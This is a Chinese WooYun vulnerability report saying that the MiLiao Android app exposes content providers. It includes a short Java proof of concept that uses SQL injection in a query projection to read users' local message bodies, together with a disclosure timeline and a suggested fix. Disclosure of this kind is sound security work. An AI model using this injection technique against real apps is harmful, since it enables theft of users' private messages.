漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-041521
漏洞标题:米聊Android版敏感信息泄露(可读用户本地消息)
相关厂商:小米科技
漏洞作者: 一灯大师
提交时间:2013-10-31 09:36
修复时间:2014-01-26 09:37
公开时间:2014-01-26 09:37
漏洞类型:用户敏感数据泄漏
危害等级:高
自评Rank:15
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-10-31: 细节已通知厂商并且等待厂商处理中
2013-11-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-12-30: 细节向核心白帽子及相关领域专家公开
2014-01-09: 细节向普通白帽子公开
2014-01-19: 细节向实习白帽子公开
2014-01-26: 细节向公众公开
简要描述:
米聊Android版敏感信息泄露
详细说明:
米聊多处content provider暴露
<provider android:name=".providers.BuddyProvider" android:readPermission="com.xiaomi.channel.READ_BUDDY" android:writePermission="com.xiaomi.channel.WRITE_BUDDY" android:exported="true" android:authorities="com.xiaomi.channel.providers.BuddyProvider" />
再利用SQL注入的方式能够访问到数据库中其他的表
代码如下:
我们以.providers.BuddyProvider为例说明下。
首先权限声明如下:
<permission android:name="com.xiaomi.channel.READ_BUDDY" />
<permission android:name="com.xiaomi.channel.WRITE_BUDDY" />
<uses-permission android:name="com.xiaomi.channel.READ_BUDDY" />
<uses-permission android:name="com.xiaomi.channel.WRITE_BUDDY" />
private void getmiliao(){
int i = 0;
ContentResolver contentresolver = getContentResolver();
String[] projection = {"* from sms--"};
Uri uri = Uri.parse("content://com.xiaomi.channel.providers.BuddyProvider/buddy");
Cursor cursor = contentresolver.query(uri, projection, null, null, null);
String text = "";
while (cursor.moveToNext()) {
text += cursor.getString(cursor.getColumnIndex("body")) + '\n';
}
Log.i("TEST",text);
}
另外其他两个暴露的也要主意下
<provider android:name=".providers.BuddyStatusForPhoneProvider" android:exported="true" android:authorities="com.xiaomi.channel.providers.BuddyStatusForPhoneProvider" />
<provider android:name=".providers.MessageStatusProvider" android:exported="true" android:authorities="com.xiaomi.channel.providers.MessageStatusProvider" />
漏洞证明:
修复方案:
content provider做下限制,以及防止恶意注入sql
版权声明:转载请注明来源 一灯大师@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-01-26 09:37
厂商回复:
最新状态:
暂无